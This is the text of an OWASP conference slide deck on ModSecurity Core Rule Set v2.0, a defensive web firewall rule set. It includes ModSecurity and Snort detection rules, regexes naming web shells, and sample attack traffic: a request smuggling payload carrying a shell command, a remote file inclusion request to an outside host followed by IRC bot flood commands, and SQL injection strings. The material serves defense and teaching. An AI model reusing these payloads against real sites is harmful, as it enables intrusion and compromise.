The OWASP Foundationhttp://www.owasp.org/

AppSec DC

Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

ModSecurity Core Rule Set (CRS) v2.0

Ryan Barnett OWASP Project LeaderDirector of Application Security Research, Breach Securityryan.barnett@breach.com

About The Speaker

Community Participation: OWASP ModSecurity Core Rule

Set Project Leader Web Application Security

Consortium (WASC) Board Member

WASC Distributed Open Proxy Honeypot Project Leader

Day Job: Director of Application Security

Research, Breach Security In charge of security research

through Breach Security Labs, development of ModSecurity rules and signatures.

What are we going to talk about

ModSecurity Quick OverviewThe Core Rule Set (CRS) OverviewBasic Detection CategoriesCRS v2.0 ImprovementsFacilitating Community CollaborationCall for Community Help

3

What is ModSecurity?

It is an open source web application firewall (WAF) module for Apache web servers www.modsecurity.orgSeparate Rule and Audit Engines Allows full request/response HTTP logging capabilityDeep understanding of HTTP and HTMLRobust Parsing (form encoding, multipart

and XML)Anti Evasion Features (normalization

functions)Supports Complex Rules LanguageAdvanced Capabilities Transactional and Persistent Collections Content Injection Lua API

ModSecurity’s Apache Request Cycle Hooks

ModSecurity’s Rules Language

ModSecurity’s Rules Language Syntax

Tells ModSecurity where to look (such as ARGS, ARGS_NAMES or COOKIES).

Tells ModSecurity where to look (such as ARGS, ARGS_NAMES or COOKIES).

Tells ModSecurity how to process data (such @rx, @pm or @gt).

Tells ModSecurity how to process data (such @rx, @pm or @gt).

Tells ModSecurity what to do if a rule matches (such as deny, exec or setvar).

Tells ModSecurity what to do if a rule matches (such as deny, exec or setvar).

The OWASP Foundation, http://www.owasp.org/

The ModSecurity Core Rule Set (CRS)

Ryan Barnettryan.barnett@breach.com

AppSec DC

CRS v2.0Overview

What is the Core Rule Set (CRS)?

A generic, plug-n-play set of WAF rules Detection Mechanisms:

Protocol Validation Malicious Client Identification Generic Attack Signatures Known Vulnerabilities Signatures Trojan/Backdoor Access Outbound Data Leakage Anti-Virus and DoS utility scripts

OWASP Project Homepage http://www.owasp.org/index.php/

Category:OWASP_ModSecurity_Core_Rule_Set_Project

Who uses the CRS?

WASC Distributed Open Proxy Honeypot Project “Use one of the web attacker's most trusted tools

against him - the Open Proxy server. Instead of being the target of the attacks, we opt to be used as a conduit of the attack data in order to gather our intelligence”

http://projects.webappsec.org/Distributed-Open-Proxy-Honeypots

Who uses the CRS?

Akamai WAF-in-the-Cloud Service Converted CRS in Akamai Edge Servers Launched in November 2009

Origin Server

Akamai EdgePlatform

with WAF

Attacker

The OWASP Foundation, http://www.owasp.org/

The ModSecurity Core Rule Set (CRS)

Ryan Barnettryan.barnett@breach.com

AppSec DC

Example Detection Categories

Detection Mechanisms: Protocol Violations

Protocol vulnerabilities such as Response Splitting, Request Smuggling, Premature URL ending Content length only for non GET/HEAD methods Non ASCII characters or encoding in headers Valid use of headers (for example, content length is

numerical) Proxy Access modsecurity_crs_20_protocol_violations.conf

Attack requests are different due to automation Missing headers such as Host, Accept, User-Agent Host is an IP address (common worm propagation

method) modsecurity_crs_21_protocol_anomalies.conf

HTTP Request Smuggling Example

Goal: IDS/IPS will only see one POST request to /foobar.html

POST http://SITE/foobar.html HTTP/1.1

...

Content-Length: 0

Content-Length: 44

GET /cgi-bin/foo.php?cmd=`id` HTTP/1.1

Host: SITE

IDS/IPS:

1. /foobar.html

Server:

1. /foobar.html

2. /foo.php

CRS ID 950012 – Request Smuggling Attack

POST /SITE/foobar.html HTTP/1.1Host: www.badstore.netUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-usAccept-Encoding: gzip,deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Keep-Alive: 300Proxy-Connection: keep-aliveContent-Length: 0, 44

# HTTP Request Smuggling SecRule REQUEST_HEADERS:'/(Content-Length|Transfer-Encoding)/' "," "phase:2,t:none,block,nolog,auditlog,status:400,msg:'HTTP Request Smuggling Attack.',id:'950012',tag:'WEB_ATTACK/REQUEST_SMUGGLING', severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+20,setvar:tx.web_attack_score=+1,setvar:tx.%{rule.id}-WEB_ATTACK/REQUEST_SMUGGLING-%{matched_var_name}=%{matched_var}"

Apache collapses duplicate Request headers and separates the payloads with commas – this payload means there were two Content-Length headers

Apache collapses duplicate Request headers and separates the payloads with commas – this payload means there were two Content-Length headers

Request Smuggling rule looks for a comma in the appropriate Request header payloads

Request Smuggling rule looks for a comma in the appropriate Request header payloads

Detection Mechanisms: Protocol Policies

Policy is usually application specific Some restrictions can usually be applied generically White lists can be build for specific environments

Limitations on Sizes Request size, Upload size # of parameters, length of parameter modsecurity_crs_23_request_limits.conf

Items that can be allowed or restricted Methods - Allow or restrict WebDAV, block abused

methods such as CONNECT, TRACE or DEBUG File extensions – backup files, database files, ini files Content-Types (and to some extent other headers) Modsecurity_crs_30_http_policy.conf

CRS ID 960012 – Request Method Not Allowed

SecRule REQUEST_METHOD "!^((?:(?:POS|GE)T|OPTIONS|HEAD))$" "phase:2,t:none,block,nolog,auditlog,status:501,msg:'Method is not allowed by policy', severity:'2',id:'960032',tag:'POLICY/METHOD_NOT_ALLOWED',setvar:tx.anomaly_score=+5,setvar:tx.policy_score=+1,setvar:tx.%{rule.id}-POLICY/METHOD_NOT_ALLOWED-%{matched_var_name}=%{matched_var}"

PUT /tr.htm HTTP/1.0Accept-Language: pt-br, en-us;q=0.5Translate: fContent-Length: 67Date: Thu, 5 Nov 2009 04:26:22 GMTConnection: Keep -AliveUser-Agent: Microsoft Data Access Internet Publishing Provider DAV 1.1Host: www.example.com

Command Tribulation was here - www.commandt.org - Jesus Loves you

Detection Mechanisms: Malicious Clients

Not aimed against targeted attacks, but against general malicious internet activity Offloads a lot of cyberspace junk & noise Effective against comment spam Reduce event count

Detection of Malicious Robots Unique request attributes: User-Agent header, URL,

Headers Black list of IP addresses Rate based detection Detection of security scanners Blocking can confuse security testing software

(WAFW00f) modsecurity_crs_35_bad_robots.conf

Comment SPAM – RBL Lookups

SecRule &IP:SPAMMER "@eq 0" "chain,phase:1,t:none,block,nolog,auditlog,msg:'RBL Match for SPAM Source',tag:'AUTOMATION/MALICIOUS',severity:'2',skipAfter:END_RBL_CHECK"

SecRule REMOTE_ADDR "@rbl sbl-xbl.spamhaus.org" "t:none,setvar:'tx.msg=%{rule.msg}',setvar:tx.automation_score=+1,setvar:tx.anomaly_score=+20,setvar:'tx.%{rule.id}=%{matched_var_name}=%{matched_var}',setvar:ip.spammer=1,expirevar:ip.spammer=86400“

Detection Mechanisms: App Layer Attacks

Detect application level attacks such as those described in the OWASP top 10 SQL injection and blind SQL injection Cross site scripting (XSS) OS command injection and remote command access Remote file inclusion

modsecurity_crs_40_generic_attacks.conf modsecurity_crs_41_sql_injection_attacks.conf

modsecurity_crs_41_xss_attacks.conf

Remote File Inclusion (RFI) Example

GET /XXXXXXXX.php?ADODB_DIR=http://www.filmbox.ru/d.pl? HTTP/1.1TE: deflate,gzip;q=0.3Connection: TE, closeHost: XXXXXXXXXXXUser-Agent: libwww-perl/5.805

switch(substr($mcmd[0],1)) { case "restart": case "mail": //mail to from subject message case "dns": case "info": case "cmd": case "rndnick": case "php": case "exec": break; case "pscan": // .pscan 127.0.0.1 6667 case "ud.server": // .udserver <server> <port> case "download": case "die": case "udpflood": case "udpflood1": case "tcpflood": case "massmail":

Attack Methods

Control Methods

SecRule ARGS "^(?:ht|f)tps?:\/\/([\d\.]+)" \

SecRule ARGS "(?:\binclude\s*\([^)]*(ht|f)tps?:\/\/)" \

SecRule ARGS "(?:ft|htt)ps?.*\?+$" \

SecRule ARGS "^(?:ht|f)tps?://(.*)\?$" \ "chain, SecRule TX:1 "!@beginsWith %{request_headers.host}”

IP address in hostnameIP address in hostname

Known vulnerable parameter

Known vulnerable parameter

One or more question marks at the end

One or more question marks at the end

Domain mis-matchDomain mis-match

Detection Mechanisms: Trojans/Backdoors

Major problem in hosting environments Uploading is allowed Some sites may be secure while others not

Upload detection Check uploading of files containing viruses (i.e. WORD

docs)util/modsec-clamscan.pl

Check uploading of http backdoor page

Access detection Known signatures (x_key header) Generic file management output (gid, uid, drwx, c:\) modsecurity_crs_45_trojans.conf

CRS ID 950922 – Trojan File Access

SecRule RESPONSE_BODY "(?:<title>[^<]*?(?:\b(?:(?:c(?:ehennemden|gi-telnet)|gamma web shell)\b|imhabirligi phpftp)|(?:r(?:emote explorer|57shell)|aventis klasvayv|zehir)\b|\.::(?:news remote php shell injection::\.| rhtools\b)|ph(?:p(?:(?: commander|-terminal)\b|remoteview)|vayv)|myshell)|\b(?:(?:(?:microsoft windows\b.{0,10}?\bversion\b.{0,20}?\(c\) copyright 1985-.{0,10}?\bmicrosoft corp|ntdaddy v1\.9 - obzerve \| fux0r inc)\.|(?:www\.sanalteror\.org - indexer and read|haxplor)er|php(?:konsole| shell)|c99shell)\b|aventgrup\.<br>|drwxr))" \ "phase:4,t:none,ctl:auditLogParts=+E,block,nolog,auditlog,status:404,msg:'Backdoor access',id:'950922',tag:'MALICIOUS_SOFTWARE/TROJAN',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.trojan_score=+1,setvar:tx.anomaly_score=+20,setvar:tx.%{rule.id}-MALICIOUS_SOFTWARE/TROJAN-%{matched_var_name}=%{matched_var}"

Detection Mechanisms: Information Leakage

Monitoring outbound application data HTTP Error Response Status Codes SQL Information Leakage Stack Dumps Source Code Leakage

Last line of defense if all else fails Provide feedback to application developers Important for customer experience Makes life for the hacker harder (if blocking is

used) modsecurity_crs_50_outbound.conf

CRS ID 971094 – SQL Information Leakage

SecRule RESPONSE_BODY "\bYou have an error in your SQL syntax near \'" \ "phase:4,t:none,ctl:auditLogParts=+E,block,nolog,auditlog,status:500,msg:'SQL Information Leakage',id:'971094',tag:'LEAKAGE/ERRORS',severity:'3',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+15,setvar:tx.%{rule.id}-LEAKAGE/ERRORS-%{matched_var_name}=%{matched_var}"

The OWASP Foundation, http://www.owasp.org/

The ModSecurity Core Rule Set (CRS)

Ryan Barnettryan.barnett@breach.com

AppSec DC

CRS v2.0 Improvements

CRS V2.0 Improvements

Rules and Alert Management Collaborative Rules/Anomaly Scoring Conditional Rules (Weak Signatures) Inbound+Outbound Correlation Updated Severity Ratings

Increased Security Coverage XSS Improvements Converted Emerging Threats Web Attack Signatures Converted PHPIDS Filters

Facilitate Community Collaboration CRS Smoketest/Demo Page JIRA Bug Tracking

The OWASP Foundation, http://www.owasp.org/

The ModSecurity Core Rule Set (CRS)

Ryan Barnettryan.barnett@breach.com

AppSec DC

Rules and Alert Management

CRS <2.0 – Self Contained Rules Concept

Older (<2.0) CRS used individual, “self-contained” actions in rules If a rule triggered, it would either deny or pass and

log No intelligence was shared between rules

Not optimal from a rules management perspective (handling false positives/exceptions) Editing the regex could blow it up Heavily customized rules were less likely to be

updated by the user

Not optimal from a security perspective Not every site had the same risk tolerance Lower severity alerts were largely ignored

CRS 2.0 - Collaborative Rules/Anomaly Scoring

Rules logic has changed by decoupling the inspection/detection from the blocking functionality Rules set transactional variables (tx) to store meta-

data about the rule match Rules also increase anomaly scores for both the

attack category and global score

These rules are considered basic or reference events

They do not generate an event in the Apache error_log on their own by default

The anomaly score check/enforcement rules will decided whether or not to deny/log eventsmodsecurity_crs_49_enforcement.conf

CRS 2.0 - Collaborative Rules/Anomaly Scoring

Example HTTP Parameter Pollution (HPP) attack /index.aspx?page=select 1&page=2,3 from table

where id=1

CRS 2.0 – Debug Log View

CRS 2.0 – Inspecting Anomaly Scores

CRS 2.0 – Conditional Rules (Weak Sigs)

SQL Injection Example Aggregate indicators to determine an

attack Strong indicators

Keywords such as: xp_cmdshell, varchar, Sequences such as: union …. select, select …

top … 1Amount: script, cookie and document appear in

the same input field

Weak indicators – meta-characters --, ;, ', …

CRS only applies weak signatures in the event a stronger signature has previously triggered

CRS 2.0 – Conditional Rule Example

CRS 2.0 – Inbound/Outbound Correlation

Concept is to do post processing of the transactional data (in the logging phase) for event creationmodsecurity_crs_60_correlation.conf

Couple the inbound with the outbound for increased intelligence Was there an inbound attack? Was there an HTTP Status Code Error (4xx/5xx

level)? Was there an application information leak?

Correlation facilitates better incident response App error without inbound attack -> Contact Ops Inbound attack + outbound error -> Contact Security

CRS 2.0 – Updated Severity Ratings

Correlated Events 0: Emergency - is generated from correlation (inbound

attack + outbound leakage) 1: Alert - is generated from correlation (inbound attack +

outbound application level error)

Non-Correlated Events 2: Critical - highest severity level possible without

correlation. It is normally generated by the web attack rules (40 level files)

3: Error - is generated from outbound leakage rules (50 level files)

4: Warning - is generated by malicious client rules (35 level files)

5: Notice - is generated by the Protocol policy and anomaly files

6: Info - is generated by the search engine clients (55 marketing file)

CRS 2.0 – Correlated Event Messages

The OWASP Foundation, http://www.owasp.org/

The ModSecurity Core Rule Set (CRS)

Ryan Barnettryan.barnett@breach.com

AppSec DC

Increased Security Coverage

CRS 2.0 – Updated XSS Coverage

Rules added that look for all event handlers from the WASC Script Mapping Project http://projects.webappsec.org/Script-Mapping

CRS 2.0 – Converted Emerging Threats Rules

Breach Security Labs received authorization from ET to convert their Snort rules and include them in the CRS http://www.emergingthreats.net/

Converted the following rule files emerging-web_server.rules emerging-web_specific_apps.rules

Identifying attacks against known vulnerabilities does have value Raised threat level If done correctly, lessens false positives

CRS combines the what of our generic attack payload detection with the where of ET known vuln data

CRS 2.0 – Converted Emerging Threats Rules

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET WEB_SPECIFIC_APPS 20/20 Auto Gallery SQL Injection Attempt -- vehiclelistings.asp vehicleID SELECT"; flow:established,to_server; uricontent:"/vehiclelistings.asp?"; nocase; uricontent:"vehicleID="; nocase; uricontent:"SELECT"; nocase; pcre:"/.+SELECT.+FROM/Ui"; classtype:web-application-attack; reference:cve,CVE-2006-6092; reference:url,www.securityfocus.com/bid/21154; reference:url,doc.emergingthreats.net/2007504; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SPECIFIC_APPS/WEB_2020_Auto_gallery; sid:2007504; rev:5;)

Attack vector location –

URI + Parameter

PCRE –Weak signature

CRS 2.0 – Converted Emerging Threats Rule

# (sid 2007508) ET WEB_SPECIFIC 20/20 Auto Gallery SQL Injection Attempt -- vehiclelistings.asp vehicleID

SecRule REQUEST_URI_RAW "(?i:\/vehiclelistings\.asp)" "chain,phase:2,block,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:normalisePathWin,capture,ctl:auditLogParts=+E,nolog,auditlog,logdata:'%{TX.0}',id:sid2007508,rev:3,msg:'ET WEB_SPECIFIC 20/20 Auto Gallery SQL Injection Attempt -- vehiclelistings.asp vehicleID ',tag:‘web-application-attack',tag:'url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SQL_INJECTION/WEB_2020_Auto_gallery'"

SecRule &TX:'/SQL_INJECTION.*ARGS:vehicleID/' "@gt 0" "setvar:'tx.msg=ET WEB_SPECIFIC 20/20 Auto Gallery SQL Injection Attempt -- vehiclelistings.asp vehicleID',setvar:tx.sqli_score=+1,setvar:tx.anomaly_score=+20,setvar:tx.%{rule.id}-SQL_INJECTION/SQL_INJECTION-%{matched_var_name}=%{matched_var}"

Verify the URI of the request

Verify the attack vector location from saved TX SQL

Injection data exists

CRS 2.0 – Converted PHPIDS Filters

http://phpids.net/ ~70 regular expression rules to detect common

attack payloads XSS SQL Injection RFI

Filters are heavily tested by the community and updated frequently

Breach Security Labs received authorization from PHPIDS to convert their default_filters.xml rules and include them in the CRS https://svn.php-ids.org/svn/trunk/lib/IDS/default_filter.xml Thanks to Mario Heiderich

CRS 2.0 – PHPIDS Example Filter

<filter> <id>1</id> <rule><![CDATA[(?:"[^"]*[^-]?>)|(?:[^\w\s]\s*\/>)|(?:>")]]></rule> <description>finds html breaking injections including whitespace attacks</description> <tags> <tag>xss</tag> <tag>csrf</tag> </tags> <impact>4</impact> </filter>

CRS 2.0 – Converted PHPIDS Example Filter

SecRule ARGS|ARGS_NAMES "(?:\"[^\"]*[^-]?>)|(?:[^\w\s]\s*\/>)|(?:>\")" "phase:2,capture,multiMatch,t:none,t:urlDecodeUni,t:cssDecode,t:jsDecode,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,block,nolog,msg:'finds html breaking injections including whitespace attacks',id:'phpids-1',tag:'WEB_ATTACK/XSS',tag:'WEB_ATTACK/CSRF',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+4,setvar:tx.%{rule.id}-WEB_ATTACK/INJECTION-%{rule.severity}-%{rule.msg}-%{matched_var_name}=%{matched_var}"

Normalization functions

Combats common evasions with multiMatch action Normal process is to only apply the operator once after

the transformation function chain With multiMath, the operator is applied before/after any

transformation function that changes data

CRS 2.0 – PHPIDS Conversion/Normalization

PHPIDS combats evasions by both converting and normalizing input data before applying their regular expressions https://svn.php-ids.org/svn/trunk/lib/IDS/Converter.php

Handles evasion issues such as: Comments Newlines Charcode Normalize Quotes

Current CRS approach is to create rules to increase the anomaly score when these are encountered vs. attempting to normalize

CRS 2.0 – PHPIDS Centrifuge

Negative security approach to combating XSS and SQL Injection is doomed to fail… Unlimited ways to write functionally equivalent code Obfuscation methods, however often have certain

characteristics

PHPIDS has an interesting approach to identify attack payloads through heuristics Analysis of the use of special characters

Ratio between the count of the word characters, spaces, punctuation and the non word characters If <3.50 = malicious

Normalization and stripping of any word character and spaces including line breaks, tabs and carriage returns Regex check in default_filters.xml catches results

The OWASP Foundation, http://www.owasp.org/

The ModSecurity Core Rule Set (CRS)

Ryan Barnettryan.barnett@breach.com

AppSec DC

Facilitate Community Collaboration

CRS 2.0 – CRS Demo/Smoketest

ModSecurity/CRS finally has its own Demo/Smoketest page http://www.modsecurity.org/demo/

CRS 2.0 – CRS/PHPIDS Demo/Smoketest

CRS demo page is actually a front-end for the PHPIDS smoketest page http://demo.php-ids.org/

Request will go through CRS page first and then we proxy the request to the PHPIDS page

We then inspect the inbound with the outbound and provide results CRS detected an attack CRS did not find anything malicious but PHPIDS did Neither CRS nor PHPIDS found anything malicious

A link is provided to report false negatives to our JIRA ticketing system https://www.modsecurity.org/tracker/browse/CORERULES

CRS 2.0 – CRS Demo/Smoketest

The OWASP Foundation, http://www.owasp.org/

The ModSecurity Core Rule Set (CRS)

Ryan Barnettryan.barnett@breach.com

AppSec DC

Call for Community Help

CRS 2.0 – Call for Community Help

We have made great strides with CRS v2.0 but there is still much work to be done

Current OWASP Project Status is Alpha Need some help to move it to Beta -> Release Quality Need Project Reviewers

Test out the CRS demo page and report any issues found either to the mail-list or to JIRA

Cool project idea Port the PHPIDS Converter.php code into Lua for use in

ModSecurity

Please sign up on our project mail-list if you want to help https://lists.owasp.org/mailman/listinfo/owasp-

modsecurity-core-rule-set

The OWASP Foundationhttp://www.owasp.org/

AppSec DC

Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

Thank You!

Ryan Barnettryan.barnett@breach.com